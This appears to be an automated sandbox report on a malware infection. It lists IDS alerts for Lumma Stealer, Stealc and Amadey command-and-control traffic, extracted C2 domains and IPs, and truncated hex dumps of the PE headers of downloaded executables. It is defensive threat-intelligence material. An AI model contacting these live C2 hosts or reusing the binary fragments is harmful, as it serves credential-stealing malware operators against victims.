Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:63390 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50243 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50240 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50244 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50245 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50249 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50253 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:61354 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:57616 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50258 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50259 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50264 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50261 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50266 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50271 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50272 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:50205 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50246 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50282 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50290 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:53046 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50294 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:63515 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50291 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50262 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50296 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50248 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50302 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50303 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50335 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50234 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50238 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50234 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50243 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50243 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50245 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50244 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50244 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50264 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50271 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50262 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50262 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50242 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50259 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50232 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50259 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50232 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50302 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50296 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50296 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:55:20 GMTContent-Type: application/octet-streamContent-Length: 2837504Last-Modified: Wed, 30 Oct 2024 20:43:26 GMTConnection: keep-aliveETag: "67229a6e-2b4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6b 65 6f 76 6a 6b 63 00 00 2b 00 00 a0 00 00 00 ec 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 78 61 64 6b 70 71 61 00 20 00 00 00 a0 2b 00 00 04 00 00 00 26 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:55:26 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Wed, 30 Oct 2024 20:53:56 GMTConnection: keep-aliveETag: "67229ce4-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 6a e4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 b6 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 b6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 62 67 68 74 69 71 78 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 6c 74 63 6a 6c 78 00 10 00 00 00 c0 4b 00 00 06 00 00 00 02 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:08 GMTContent-Type: application/octet-streamContent-Length: 2985984Last-Modified: Wed, 30 Oct 2024 20:53:36 GMTConnection: keep-aliveETag: "67229cd0-2d9000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 db 73 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 61 61 73 62 76 62 6e 00 e0 2a 00 00 b0 05 00 00 d6 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 72 70 62 71 70 65 00 10 00 00 00 90 30 00 00 04 00 00 00 6a 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 6e 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:18 GMTContent-Type: application/octet-streamContent-Length: 2146304Last-Modified: Wed, 30 Oct 2024 20:53:49 GMTConnection: keep-aliveETag: "67229cdd-20c000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 73 00 00 04 00 00 57 09 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 6c 65 71 64 6c 6a 00 10 1a 00 00 00 59 00 00 0e 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 66 63 64 6b 6f 68 66 00 10 00 00 00 10 73 00 00 06 00 00 00 98 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 73 00 00 22 00 00 00 9e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:28 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 20:42:59 GMTConnection: keep-aliveETag: "67229a53-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4b 9a 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 eb d9 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 